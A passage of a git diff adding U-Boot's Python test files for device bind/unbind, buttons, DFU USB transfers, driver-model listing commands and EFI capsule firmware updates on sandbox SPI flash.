+	assert response == ''
+	tree = u_boot_console.run_command('dm tree')
+	assert 'bind-test' not in tree
+	assert 'bind-test-child1' not in tree
+	assert 'bind-test-child2' not in tree
+
+	#try binding invalid node with valid driver
+	response = u_boot_console.run_command('bind  /not-a-valid-node simple_bus')
+	assert response != ''
+	tree = u_boot_console.run_command('dm tree')
+	assert 'not-a-valid-node' not in tree
+
+	#try binding valid node with invalid driver
+	response = u_boot_console.run_command('bind  /bind-test not_a_driver')
+	assert response != ''
+	tree = u_boot_console.run_command('dm tree')
+	assert 'bind-test' not in tree
+
+	#bind /bind-test. Device should come up as well as its children
+	response = u_boot_console.run_command('bind  /bind-test simple_bus')
+	assert response == ''
+	tree = u_boot_console.run_command('dm tree')
+	assert in_tree(tree, 'bind-test', 'simple_bus', 'simple_bus', 0, True)
+	assert in_tree(tree, 'bind-test-child1', 'phy', 'phy_sandbox', 1, False)
+	assert in_tree(tree, 'bind-test-child2', 'simple_bus', 'simple_bus', 1, True)
+
+	response = u_boot_console.run_command('unbind  /bind-test')
+	assert response == ''
+
+def get_next_line(tree, name):
+	treelines = [x.strip() for x in tree.splitlines() if x.strip()]
+	child_line = ''
+	for idx, line in enumerate(treelines):
+		if ('-- ' + name) in line:
+			try:
+				child_line = treelines[idx+1]
+			except:
+				pass
+			break
+	return child_line
+
+@pytest.mark.buildconfigspec('cmd_bind')
+def test_bind_unbind_with_uclass(u_boot_console):
+	#bind /bind-test
+	response = u_boot_console.run_command('bind  /bind-test simple_bus')
+	assert response == ''
+
+	#make sure bind-test-child2 is there and get its uclass/index pair
+	tree = u_boot_console.run_command('dm tree')
+	child2_line = [x.strip() for x in tree.splitlines() if '-- bind-test-child2' in x]
+	assert len(child2_line) == 1
+
+	child2_uclass = child2_line[0].split()[0]
+	child2_index = int(child2_line[0].split()[1])
+
+	#bind simple_bus as a child of bind-test-child2
+	response = u_boot_console.run_command('bind  {} {} simple_bus'.format(child2_uclass, child2_index, 'simple_bus'))
+
+	#check that the child is there and its uclass/index pair is right
+	tree = u_boot_console.run_command('dm tree')
+
+	child_of_child2_line = get_next_line(tree, 'bind-test-child2')
+	assert child_of_child2_line
+	child_of_child2_index = int(child_of_child2_line.split()[1])
+	assert in_tree(tree, 'simple_bus', 'simple_bus', 'simple_bus', 2, True)
+	assert child_of_child2_index == child2_index + 1
+
+	#unbind the child and check it has been removed
+	response = u_boot_console.run_command('unbind  simple_bus {}'.format(child_of_child2_index))
+	assert response == ''
+	tree = u_boot_console.run_command('dm tree')
+	assert in_tree(tree, 'bind-test-child2', 'simple_bus', 'simple_bus', 1, True)
+	assert not in_tree(tree, 'simple_bus', 'simple_bus', 'simple_bus', 2, True)
+	child_of_child2_line = get_next_line(tree, 'bind-test-child2')
+	assert child_of_child2_line == ''
+
+	#bind simple_bus as a child of bind-test-child2
+	response = u_boot_console.run_command('bind  {} {} simple_bus'.format(child2_uclass, child2_index, 'simple_bus'))
+
+	#check that the child is there and its uclass/index pair is right
+	tree = u_boot_console.run_command('dm tree')
+	treelines = [x.strip() for x in tree.splitlines() if x.strip()]
+
+	child_of_child2_line = get_next_line(tree, 'bind-test-child2')
+	assert child_of_child2_line
+	child_of_child2_index = int(child_of_child2_line.split()[1])
+	assert in_tree(tree, 'simple_bus', 'simple_bus', 'simple_bus', 2, True)
+	assert child_of_child2_index == child2_index + 1
+
+	#unbind the child and check it has been removed
+	response = u_boot_console.run_command('unbind  {} {} simple_bus'.format(child2_uclass, child2_index, 'simple_bus'))
+	assert response == ''
+
+	tree = u_boot_console.run_command('dm tree')
+	assert in_tree(tree, 'bind-test-child2', 'simple_bus', 'simple_bus', 1, True)
+
+	child_of_child2_line = get_next_line(tree, 'bind-test-child2')
+	assert child_of_child2_line == ''
+
+	#unbind the child again and check it doesn't change the tree
+	tree_old = u_boot_console.run_command('dm tree')
+	response = u_boot_console.run_command('unbind  {} {} simple_bus'.format(child2_uclass, child2_index, 'simple_bus'))
+	tree_new = u_boot_console.run_command('dm tree')
+
+	assert response == ''
+	assert tree_old == tree_new
+
+	response = u_boot_console.run_command('unbind  /bind-test')
+	assert response == ''
diff --git a/roms/u-boot/test/py/tests/test_button.py b/roms/u-boot/test/py/tests/test_button.py
new file mode 100644
index 000000000..3b7f148c8
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_button.py
@@ -0,0 +1,37 @@
+# SPDX-License-Identifier: GPL-2.0+
+
+import pytest
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_button')
+def test_button_list(u_boot_console):
+    """Test listing buttons"""
+
+    response = u_boot_console.run_command('button list; echo rc:$?')
+    assert('button1' in response)
+    assert('button2' in response)
+    assert('rc:0' in response)
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_button')
+@pytest.mark.buildconfigspec('cmd_gpio')
+def test_button_return_code(u_boot_console):
+    """Test correct reporting of the button status
+
+    The sandbox gpio driver reports the last output value as input value.
+    We can use this in our test to emulate different input statuses.
+    """
+
+    u_boot_console.run_command('gpio set a3; gpio input a3');
+    response = u_boot_console.run_command('button button1; echo rc:$?')
+    assert('on' in response)
+    assert('rc:0' in response)
+
+    u_boot_console.run_command('gpio clear a3; gpio input a3');
+    response = u_boot_console.run_command('button button1; echo rc:$?')
+    assert('off' in response)
+    assert('rc:1' in response)
+
+    response = u_boot_console.run_command('button nonexistent-button; echo rc:$?')
+    assert('not found' in response)
+    assert('rc:1' in response)
diff --git a/roms/u-boot/test/py/tests/test_dfu.py b/roms/u-boot/test/py/tests/test_dfu.py
new file mode 100644
index 000000000..5d87eb349
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_dfu.py
@@ -0,0 +1,320 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2016, NVIDIA CORPORATION. All rights reserved.
+
+# Test U-Boot's "dfu" command. The test starts DFU in U-Boot, waits for USB
+# device enumeration on the host, executes dfu-util multiple times to test
+# various transfer sizes, many of which trigger USB driver edge cases, and
+# finally aborts the "dfu" command in U-Boot.
+
+import os
+import os.path
+import pytest
+import u_boot_utils
+
+"""
+Note: This test relies on:
+
+a) boardenv_* to contain configuration values to define which USB ports are
+available for testing. Without this, this test will be automatically skipped.
+For example:
+
+env__usb_dev_ports = (
+    {
+        'fixture_id': 'micro_b',
+        'tgt_usb_ctlr': '0',
+        'host_usb_dev_node': '/dev/usbdev-p2371-2180',
+        # This parameter is optional /if/ you only have a single board
+        # attached to your host at a time.
+        'host_usb_port_path': '3-13',
+    },
+)
+
+# Optional entries (required only when 'alt_id_test_file' and
+# 'alt_id_dummy_file' are specified).
+test_file_name = '/dfu_test.bin'
+dummy_file_name = '/dfu_dummy.bin'
+# Above files are used to generate proper 'alt_info' entry
+'alt_info': '/%s ext4 0 2;/%s ext4 0 2' % (test_file_name, dummy_file_name),
+
+env__dfu_configs = (
+    # eMMC, partition 1
+    {
+        'fixture_id': 'emmc',
+        'alt_info': '/dfu_test.bin ext4 0 1;/dfu_dummy.bin ext4 0 1',
+        'cmd_params': 'mmc 0',
+        # This value is optional.
+        # If present, it specified the set of transfer sizes tested.
+        # If missing, a default list of sizes will be used, which covers
+        #   various useful corner cases.
+        # Manually specifying test sizes is useful if you wish to test 4 DFU
+        # configurations, but don't want to test every single transfer size
+        # on each, to avoid bloating the overall time taken by testing.
+        'test_sizes': (63, 64, 65),
+        # This value is optional.
+        # The name of the environment variable that the the dfu command reads
+        # alt info from. If unspecified, this defaults to dfu_alt_info, which is
+        # valid for most systems. Some systems use a different variable name.
+        # One example is the Odroid XU3,  which automatically generates
+        # $dfu_alt_info, each time the dfu command is run, by concatenating
+        # $dfu_alt_boot and $dfu_alt_system.
+        'alt_info_env_name': 'dfu_alt_system',
+        # This value is optional.
+        # For boards which require the 'test file' alt setting number other than
+        # default (0) it is possible to specify exact file name to be used as
+        # this parameter.
+        'alt_id_test_file': test_file_name,
+        # This value is optional.
+        # For boards which require the 'dummy file' alt setting number other
+        # than default (1) it is possible to specify exact file name to be used
+        # as this parameter.
+        'alt_id_dummy_file': dummy_file_name,
+    },
+)
+
+b) udev rules to set permissions on devices nodes, so that sudo is not
+required. For example:
+
+ACTION=="add", SUBSYSTEM=="block", SUBSYSTEMS=="usb", KERNELS=="3-13", MODE:="666"
+
+(You may wish to change the group ID instead of setting the permissions wide
+open. All that matters is that the user ID running the test can access the
+device.)
+
+c) An optional udev rule to give you a persistent value to use in
+host_usb_dev_node. For example:
+
+IMPORT{builtin}="path_id"
+ENV{ID_PATH}=="?*", ENV{.ID_PORT}=="", SYMLINK+="bus/usb/by-path/$env{ID_PATH}"
+ENV{ID_PATH}=="?*", ENV{.ID_PORT}=="?*", SYMLINK+="bus/usb/by-path/$env{ID_PATH}-port$env{.ID_PORT}"
+"""
+
+# The set of file sizes to test. These values trigger various edge-cases such
+# as one less than, equal to, and one greater than typical USB max packet
+# sizes, and similar boundary conditions.
+test_sizes_default = (
+    64 - 1,
+    64,
+    64 + 1,
+    128 - 1,
+    128,
+    128 + 1,
+    960 - 1,
+    960,
+    960 + 1,
+    4096 - 1,
+    4096,
+    4096 + 1,
+    1024 * 1024 - 1,
+    1024 * 1024,
+    8 * 1024 * 1024,
+)
+
+first_usb_dev_port = None
+
+@pytest.mark.buildconfigspec('cmd_dfu')
+@pytest.mark.requiredtool('dfu-util')
+def test_dfu(u_boot_console, env__usb_dev_port, env__dfu_config):
+    """Test the "dfu" command; the host system must be able to enumerate a USB
+    device when "dfu" is running, various DFU transfers are tested, and the
+    USB device must disappear when "dfu" is aborted.
+
+    Args:
+        u_boot_console: A U-Boot console connection.
+        env__usb_dev_port: The single USB device-mode port specification on
+            which to run the test. See the file-level comment above for
+            details of the format.
+        env__dfu_config: The single DFU (memory region) configuration on which
+            to run the test. See the file-level comment above for details
+            of the format.
+
+    Returns:
+        Nothing.
+    """
+
+    def start_dfu():
+        """Start U-Boot's dfu shell command.
+
+        This also waits for the host-side USB enumeration process to complete.
+
+        Args:
+            None.
+
+        Returns:
+            Nothing.
+        """
+
+        u_boot_utils.wait_until_file_open_fails(
+            env__usb_dev_port['host_usb_dev_node'], True)
+        fh = u_boot_utils.attempt_to_open_file(
+            env__usb_dev_port['host_usb_dev_node'])
+        if fh:
+            fh.close()
+            raise Exception('USB device present before dfu command invoked')
+
+        u_boot_console.log.action(
+            'Starting long-running U-Boot dfu shell command')
+
+        dfu_alt_info_env = env__dfu_config.get('alt_info_env_name', \
+	                                               'dfu_alt_info')
+
+        cmd = 'setenv "%s" "%s"' % (dfu_alt_info_env,
+                                    env__dfu_config['alt_info'])
+        u_boot_console.run_command(cmd)
+
+        cmd = 'dfu 0 ' + env__dfu_config['cmd_params']
+        u_boot_console.run_command(cmd, wait_for_prompt=False)
+        u_boot_console.log.action('Waiting for DFU USB device to appear')
+        fh = u_boot_utils.wait_until_open_succeeds(
+            env__usb_dev_port['host_usb_dev_node'])
+        fh.close()
+
+    def stop_dfu(ignore_errors):
+        """Stop U-Boot's dfu shell command from executing.
+
+        This also waits for the host-side USB de-enumeration process to
+        complete.
+
+        Args:
+            ignore_errors: Ignore any errors. This is useful if an error has
+                already been detected, and the code is performing best-effort
+                cleanup. In this case, we do not want to mask the original
+                error by "honoring" any new errors.
+
+        Returns:
+            Nothing.
+        """
+
+        try:
+            u_boot_console.log.action(
+                'Stopping long-running U-Boot dfu shell command')
+            u_boot_console.ctrlc()
+            u_boot_console.log.action(
+                'Waiting for DFU USB device to disappear')
+            u_boot_utils.wait_until_file_open_fails(
+                env__usb_dev_port['host_usb_dev_node'], ignore_errors)
+        except:
+            if not ignore_errors:
+                raise
+
+    def run_dfu_util(alt_setting, fn, up_dn_load_arg):
+        """Invoke dfu-util on the host.
+
+        Args:
+            alt_setting: The DFU "alternate setting" identifier to interact
+                with.
+            fn: The host-side file name to transfer.
+            up_dn_load_arg: '-U' or '-D' depending on whether a DFU upload or
+                download operation should be performed.
+
+        Returns:
+            Nothing.
+        """
+
+        cmd = ['dfu-util', '-a', alt_setting, up_dn_load_arg, fn]
+        if 'host_usb_port_path' in env__usb_dev_port:
+            cmd += ['-p', env__usb_dev_port['host_usb_port_path']]
+        u_boot_utils.run_and_log(u_boot_console, cmd)
+        u_boot_console.wait_for('Ctrl+C to exit ...')
+
+    def dfu_write(alt_setting, fn):
+        """Write a file to the target board using DFU.
+
+        Args:
+            alt_setting: The DFU "alternate setting" identifier to interact
+                with.
+            fn: The host-side file name to transfer.
+
+        Returns:
+            Nothing.
+        """
+
+        run_dfu_util(alt_setting, fn, '-D')
+
+    def dfu_read(alt_setting, fn):
+        """Read a file from the target board using DFU.
+
+        Args:
+            alt_setting: The DFU "alternate setting" identifier to interact
+                with.
+            fn: The host-side file name to transfer.
+
+        Returns:
+            Nothing.
+        """
+
+        # dfu-util fails reads/uploads if the host file already exists
+        if os.path.exists(fn):
+            os.remove(fn)
+        run_dfu_util(alt_setting, fn, '-U')
+
+    def dfu_write_read_check(size):
+        """Test DFU transfers of a specific size of data
+
+        This function first writes data to the board then reads it back and
+        compares the written and read back data. Measures are taken to avoid
+        certain types of false positives.
+
+        Args:
+            size: The data size to test.
+
+        Returns:
+            Nothing.
+        """
+
+        test_f = u_boot_utils.PersistentRandomFile(u_boot_console,
+            'dfu_%d.bin' % size, size)
+        readback_fn = u_boot_console.config.result_dir + '/dfu_readback.bin'
+
+        u_boot_console.log.action('Writing test data to DFU primary ' +
+            'altsetting')
+        dfu_write(alt_setting_test_file, test_f.abs_fn)
+
+        u_boot_console.log.action('Writing dummy data to DFU secondary ' +
+            'altsetting to clear DFU buffers')
+        dfu_write(alt_setting_dummy_file, dummy_f.abs_fn)
+
+        u_boot_console.log.action('Reading DFU primary altsetting for ' +
+            'comparison')
+        dfu_read(alt_setting_test_file, readback_fn)
+
+        u_boot_console.log.action('Comparing written and read data')
+        written_hash = test_f.content_hash
+        read_back_hash = u_boot_utils.md5sum_file(readback_fn, size)
+        assert(written_hash == read_back_hash)
+
+    # This test may be executed against multiple USB ports. The test takes a
+    # long time, so we don't want to do the whole thing each time. Instead,
+    # execute the full test on the first USB port, and perform a very limited
+    # test on other ports. In the limited case, we solely validate that the
+    # host PC can enumerate the U-Boot USB device.
+    global first_usb_dev_port
+    if not first_usb_dev_port:
+        first_usb_dev_port = env__usb_dev_port
+    if env__usb_dev_port == first_usb_dev_port:
+        sizes = env__dfu_config.get('test_sizes', test_sizes_default)
+    else:
+        sizes = []
+
+    dummy_f = u_boot_utils.PersistentRandomFile(u_boot_console,
+        'dfu_dummy.bin', 1024)
+
+    alt_setting_test_file = env__dfu_config.get('alt_id_test_file', '0')
+    alt_setting_dummy_file = env__dfu_config.get('alt_id_dummy_file', '1')
+
+    ignore_cleanup_errors = True
+    try:
+        start_dfu()
+
+        u_boot_console.log.action(
+            'Overwriting DFU primary altsetting with dummy data')
+        dfu_write(alt_setting_test_file, dummy_f.abs_fn)
+
+        for size in sizes:
+            with u_boot_console.log.section('Data size %d' % size):
+                dfu_write_read_check(size)
+                # Make the status of each sub-test obvious. If the test didn't
+                # pass, an exception was thrown so this code isn't executed.
+                u_boot_console.log.status_pass('OK')
+        ignore_cleanup_errors = False
+    finally:
+        stop_dfu(ignore_cleanup_errors)
diff --git a/roms/u-boot/test/py/tests/test_dm.py b/roms/u-boot/test/py/tests/test_dm.py
new file mode 100644
index 000000000..97203b536
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_dm.py
@@ -0,0 +1,35 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (C) 2020 Sean Anderson
+
+import pytest
+
+@pytest.mark.buildconfigspec('cmd_dm')
+def test_dm_compat(u_boot_console):
+    """Test that each driver in `dm tree` is also listed in `dm compat`."""
+    response = u_boot_console.run_command('dm tree')
+    driver_index = response.find('Driver')
+    assert driver_index != -1
+    drivers = (line[driver_index:].split()[0]
+               for line in response[:-1].split('\n')[2:])
+
+    response = u_boot_console.run_command('dm compat')
+    for driver in drivers:
+        assert driver in response
+
+@pytest.mark.buildconfigspec('cmd_dm')
+def test_dm_drivers(u_boot_console):
+    """Test that each driver in `dm compat` is also listed in `dm drivers`."""
+    response = u_boot_console.run_command('dm compat')
+    drivers = (line[:20].rstrip() for line in response[:-1].split('\n')[2:])
+    response = u_boot_console.run_command('dm drivers')
+    for driver in drivers:
+        assert driver in response
+
+@pytest.mark.buildconfigspec('cmd_dm')
+def test_dm_static(u_boot_console):
+    """Test that each driver in `dm static` is also listed in `dm drivers`."""
+    response = u_boot_console.run_command('dm static')
+    drivers = (line[:25].rstrip() for line in response[:-1].split('\n')[2:])
+    response = u_boot_console.run_command('dm drivers')
+    for driver in drivers:
+        assert driver in response
diff --git a/roms/u-boot/test/py/tests/test_efi_capsule/capsule_defs.py b/roms/u-boot/test/py/tests/test_efi_capsule/capsule_defs.py
new file mode 100644
index 000000000..4fd6353c2
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_efi_capsule/capsule_defs.py
@@ -0,0 +1,5 @@
+# SPDX-License-Identifier:      GPL-2.0+
+
+# Directories
+CAPSULE_DATA_DIR = '/EFI/CapsuleTestData'
+CAPSULE_INSTALL_DIR = '/EFI/UpdateCapsule'
diff --git a/roms/u-boot/test/py/tests/test_efi_capsule/conftest.py b/roms/u-boot/test/py/tests/test_efi_capsule/conftest.py
new file mode 100644
index 000000000..6ad5608cd
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_efi_capsule/conftest.py
@@ -0,0 +1,74 @@
+# SPDX-License-Identifier:      GPL-2.0+
+# Copyright (c) 2020, Linaro Limited
+# Author: AKASHI Takahiro 
+
+import os
+import os.path
+import re
+from subprocess import call, check_call, check_output, CalledProcessError
+import pytest
+from capsule_defs import *
+
+#
+# Fixture for UEFI secure boot test
+#
+
+
+@pytest.fixture(scope='session')
+def efi_capsule_data(request, u_boot_config):
+    """Set up a file system to be used in UEFI capsule test.
+
+    Args:
+        request: Pytest request object.
+        u_boot_config: U-boot configuration.
+
+    Return:
+        A path to disk image to be used for testing
+    """
+    global CAPSULE_DATA_DIR, CAPSULE_INSTALL_DIR
+
+    mnt_point = u_boot_config.persistent_data_dir + '/test_efi_capsule'
+    data_dir = mnt_point + CAPSULE_DATA_DIR
+    install_dir = mnt_point + CAPSULE_INSTALL_DIR
+    image_path = u_boot_config.persistent_data_dir + '/test_efi_capsule.img'
+
+    try:
+        # Create a target device
+        check_call('dd if=/dev/zero of=./spi.bin bs=1MiB count=16', shell=True)
+
+        check_call('rm -rf %s' % mnt_point, shell=True)
+        check_call('mkdir -p %s' % data_dir, shell=True)
+        check_call('mkdir -p %s' % install_dir, shell=True)
+
+        # Create capsule files
+        # two regions: one for u-boot.bin and the other for u-boot.env
+        check_call('cd %s; echo -n u-boot:Old > u-boot.bin.old; echo -n u-boot:New > u-boot.bin.new; echo -n u-boot-env:Old -> u-boot.env.old; echo -n u-boot-env:New > u-boot.env.new' % data_dir,
+                   shell=True)
+        check_call('sed -e \"s?BINFILE1?u-boot.bin.new?\" -e \"s?BINFILE2?u-boot.env.new?\" %s/test/py/tests/test_efi_capsule/uboot_bin_env.its > %s/uboot_bin_env.its' %
+                   (u_boot_config.source_dir, data_dir),
+                   shell=True)
+        check_call('cd %s; %s/tools/mkimage -f uboot_bin_env.its uboot_bin_env.itb' %
+                   (data_dir, u_boot_config.build_dir),
+                   shell=True)
+        check_call('cd %s; %s/tools/mkeficapsule --fit uboot_bin_env.itb --index 1 Test01' %
+                   (data_dir, u_boot_config.build_dir),
+                   shell=True)
+        check_call('cd %s; %s/tools/mkeficapsule --raw u-boot.bin.new --index 1 Test02' %
+                   (data_dir, u_boot_config.build_dir),
+                   shell=True)
+
+        # Create a disk image with EFI system partition
+        check_call('virt-make-fs --partition=gpt --size=+1M --type=vfat %s %s' %
+                   (mnt_point, image_path), shell=True)
+        check_call('sgdisk %s -A 1:set:0 -t 1:C12A7328-F81F-11D2-BA4B-00A0C93EC93B' %
+                   image_path, shell=True)
+
+    except CalledProcessError as exception:
+        pytest.skip('Setup failed: %s' % exception.cmd)
+        return
+    else:
+        yield image_path
+    finally:
+        call('rm -rf %s' % mnt_point, shell=True)
+        call('rm -f %s' % image_path, shell=True)
+        call('rm -f ./spi.bin', shell=True)
diff --git a/roms/u-boot/test/py/tests/test_efi_capsule/test_capsule_firmware.py b/roms/u-boot/test/py/tests/test_efi_capsule/test_capsule_firmware.py
new file mode 100644
index 000000000..4697ca6f1
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_efi_capsule/test_capsule_firmware.py
@@ -0,0 +1,249 @@
+# SPDX-License-Identifier:      GPL-2.0+
+# Copyright (c) 2020, Linaro Limited
+# Author: AKASHI Takahiro 
+#
+# U-Boot UEFI: Firmware Update Test
+
+"""
+This test verifies capsule-on-disk firmware update
+"""
+
+from subprocess import check_call, check_output, CalledProcessError
+import pytest
+from capsule_defs import *
+
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('efi_capsule_firmware_fit')
+@pytest.mark.buildconfigspec('efi_capsule_firmware_raw')
+@pytest.mark.buildconfigspec('efi_capsule_on_disk')
+@pytest.mark.buildconfigspec('dfu')
+@pytest.mark.buildconfigspec('dfu_sf')
+@pytest.mark.buildconfigspec('cmd_efidebug')
+@pytest.mark.buildconfigspec('cmd_fat')
+@pytest.mark.buildconfigspec('cmd_memory')
+@pytest.mark.buildconfigspec('cmd_nvedit_efi')
+@pytest.mark.buildconfigspec('cmd_sf')
+@pytest.mark.slow
+class TestEfiCapsuleFirmwareFit(object):
+    def test_efi_capsule_fw1(
+            self, u_boot_config, u_boot_console, efi_capsule_data):
+        """
+        Test Case 1 - Update U-Boot and U-Boot environment on SPI Flash
+                      but with OsIndications unset
+                      No update should happen
+                      0x100000-0x150000: U-Boot binary (but dummy)
+                      0x150000-0x200000: U-Boot environment (but dummy)
+        """
+        disk_img = efi_capsule_data
+        with u_boot_console.log.section('Test Case 1-a, before reboot'):
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % disk_img,
+                'efidebug boot add -b 1 TEST host 0:1 /helloworld.efi -s ""',
+                'efidebug boot order 1',
+                'env set -e OsIndications',
+                'env set dfu_alt_info "sf 0:0=u-boot-bin raw 0x100000 0x50000;u-boot-env raw 0x150000 0x200000"',
+                'env save'])
+
+            # initialize contents
+            output = u_boot_console.run_command_list([
+                'sf probe 0:0',
+                'fatload host 0:1 4000000 %s/u-boot.bin.old' % CAPSULE_DATA_DIR,
+                'sf write 4000000 100000 10',
+                'sf read 5000000 100000 10',
+                'md.b 5000000 10'])
+            assert 'Old' in ''.join(output)
+            output = u_boot_console.run_command_list([
+                'sf probe 0:0',
+                'fatload host 0:1 4000000 %s/u-boot.env.old' % CAPSULE_DATA_DIR,
+                'sf write 4000000 150000 10',
+                'sf read 5000000 150000 10',
+                'md.b 5000000 10'])
+            assert 'Old' in ''.join(output)
+
+            # place a capsule file
+            output = u_boot_console.run_command_list([
+                'fatload host 0:1 4000000 %s/Test01' % CAPSULE_DATA_DIR,
+                'fatwrite host 0:1 4000000 %s/Test01 $filesize' % CAPSULE_INSTALL_DIR,
+                'fatls host 0:1 %s' % CAPSULE_INSTALL_DIR])
+            assert 'Test01' in ''.join(output)
+
+        # reboot
+        u_boot_console.restart_uboot()
+
+        capsule_early = u_boot_config.buildconfig.get(
+            'config_efi_capsule_on_disk_early')
+        with u_boot_console.log.section('Test Case 1-b, after reboot'):
+            if not capsule_early:
+                # make sure that dfu_alt_info exists even persistent variables
+                # are not available.
+                output = u_boot_console.run_command_list([
+                    'env set dfu_alt_info "sf 0:0=u-boot-bin raw 0x100000 0x50000;u-boot-env raw 0x150000 0x200000"',
+                    'host bind 0 %s' % disk_img,
+                    'fatls host 0:1 %s' % CAPSULE_INSTALL_DIR])
+                assert 'Test01' in ''.join(output)
+
+                # need to run uefi command to initiate capsule handling
+                output = u_boot_console.run_command(
+                    'env print -e -all Capsule0000')
+
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % disk_img,
+                'fatls host 0:1 %s' % CAPSULE_INSTALL_DIR])
+            assert 'Test01' in ''.join(output)
+
+            output = u_boot_console.run_command_list([
+                'sf probe 0:0',
+                'sf read 4000000 100000 10',
+                'md.b 4000000 10'])
+            assert 'u-boot:Old' in ''.join(output)
+
+            output = u_boot_console.run_command_list([
+                'sf read 4000000 150000 10',
+                'md.b 4000000 10'])
+            assert 'u-boot-env:Old' in ''.join(output)
+
+    def test_efi_capsule_fw2(
+            self, u_boot_config, u_boot_console, efi_capsule_data):
+        """
+        Test Case 2 - Update U-Boot and U-Boot environment on SPI Flash
+                      0x100000-0x150000: U-Boot binary (but dummy)
+                      0x150000-0x200000: U-Boot environment (but dummy)
+        """
+        disk_img = efi_capsule_data
+        with u_boot_console.log.section('Test Case 2-a, before reboot'):
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % disk_img,
+                'efidebug boot add -b 1 TEST host 0:1 /helloworld.efi -s ""',
+                'efidebug boot order 1',
+                'env set -e -nv -bs -rt OsIndications =0x0000000000000004',
+                'env set dfu_alt_info "sf 0:0=u-boot-bin raw 0x100000 0x50000;u-boot-env raw 0x150000 0x200000"',
+                'env save'])
+
+            # initialize contents
+            output = u_boot_console.run_command_list([
+                'sf probe 0:0',
+                'fatload host 0:1 4000000 %s/u-boot.bin.old' % CAPSULE_DATA_DIR,
+                'sf write 4000000 100000 10',
+                'sf read 5000000 100000 10',
+                'md.b 5000000 10'])
+            assert 'Old' in ''.join(output)
+            output = u_boot_console.run_command_list([
+                'sf probe 0:0',
+                'fatload host 0:1 4000000 %s/u-boot.env.old' % CAPSULE_DATA_DIR,
+                'sf write 4000000 150000 10',
+                'sf read 5000000 150000 10',
+                'md.b 5000000 10'])
+            assert 'Old' in ''.join(output)
+
+            # place a capsule file
+            output = u_boot_console.run_command_list([
+                'fatload host 0:1 4000000 %s/Test01' % CAPSULE_DATA_DIR,
+                'fatwrite host 0:1 4000000 %s/Test01 $filesize' % CAPSULE_INSTALL_DIR,
+                'fatls host 0:1 %s' % CAPSULE_INSTALL_DIR])
+            assert 'Test01' in ''.join(output)
+
+        # reboot
+        u_boot_console.restart_uboot()
+
+        capsule_early = u_boot_config.buildconfig.get(
+            'config_efi_capsule_on_disk_early')
+        with u_boot_console.log.section('Test Case 2-b, after reboot'):
+            if not capsule_early:
+                # make sure that dfu_alt_info exists even persistent variables
+                # are not available.
+                output = u_boot_console.run_command_list([
+                    'env set dfu_alt_info "sf 0:0=u-boot-bin raw 0x100000 0x50000;u-boot-env raw 0x150000 0x200000"',
+                    'host bind 0 %s' % disk_img,
+                    'fatls host 0:1 %s' % CAPSULE_INSTALL_DIR])
+                assert 'Test01' in ''.join(output)
+
+                # need to run uefi command to initiate capsule handling
+                output = u_boot_console.run_command(
+                    'env print -e -all Capsule0000')
+
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % disk_img,
+                'fatls host 0:1 %s' % CAPSULE_INSTALL_DIR])
+            assert 'Test01' not in ''.join(output)
+
+            output = u_boot_console.run_command_list([
+                'sf probe 0:0',
+                'sf read 4000000 100000 10',
+                'md.b 4000000 10'])
+            assert 'u-boot:New' in ''.join(output)
+
+            output = u_boot_console.run_command_list([
+                'sf read 4000000 150000 10',
+                'md.b 4000000 10'])
+            assert 'u-boot-env:New' in ''.join(output)
+
+    def test_efi_capsule_fw3(
+            self, u_boot_config, u_boot_console, efi_capsule_data):
+        """
+        Test Case 3 - Update U-Boot on SPI Flash, raw image format
+                      0x100000-0x150000: U-Boot binary (but dummy)
+        """
+        disk_img = efi_capsule_data
+        with u_boot_console.log.section('Test Case 3-a, before reboot'):
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % disk_img,
+                'efidebug boot add -b 1 TEST host 0:1 /helloworld.efi -s ""',
+                'efidebug boot order 1',
+                'env set -e -nv -bs -rt OsIndications =0x0000000000000004',
+                'env set dfu_alt_info "sf 0:0=u-boot-bin raw 0x100000 0x50000;u-boot-env raw 0x150000 0x200000"',
+                'env save'])
+
+            # initialize content
+            output = u_boot_console.run_command_list([
+                'sf probe 0:0',
+                'fatload host 0:1 4000000 %s/u-boot.bin.old' % CAPSULE_DATA_DIR,
+                'sf write 4000000 100000 10',
+                'sf read 5000000 100000 10',
+                'md.b 5000000 10'])
+            assert 'Old' in ''.join(output)
+
+            # place a capsule file
+            output = u_boot_console.run_command_list([
+                'fatload host 0:1 4000000 %s/Test02' % CAPSULE_DATA_DIR,
+                'fatwrite host 0:1 4000000 %s/Test02 $filesize' % CAPSULE_INSTALL_DIR,
+                'fatls host 0:1 %s' % CAPSULE_INSTALL_DIR])
+            assert 'Test02' in ''.join(output)
+
+        # reboot
+        u_boot_console.restart_uboot()
+
+        capsule_early = u_boot_config.buildconfig.get(
+            'config_efi_capsule_on_disk_early')
+        with u_boot_console.log.section('Test Case 3-b, after reboot'):
+            if not capsule_early:
+                # make sure that dfu_alt_info exists even persistent variables
+                # are not available.
+                output = u_boot_console.run_command_list([
+                    'env set dfu_alt_info "sf 0:0=u-boot-bin raw 0x100000 0x50000;u-boot-env raw 0x150000 0x200000"',
+                    'host bind 0 %s' % disk_img,
+                    'fatls host 0:1 %s' % CAPSULE_INSTALL_DIR])
+                assert 'Test02' in ''.join(output)
+
+                # need to run uefi command to initiate capsule handling
+                output = u_boot_console.run_command(
+                    'env print -e -all Capsule0000')
+
+            output = u_boot_console.run_command_list(['efidebug capsule esrt'])
+
+            # ensure that EFI_FIRMWARE_IMAGE_TYPE_UBOOT_FIT_GUID is in the ESRT.
+            assert 'AE13FF2D-9AD4-4E25-9AC8-6D80B3B22147' in ''.join(output)
+
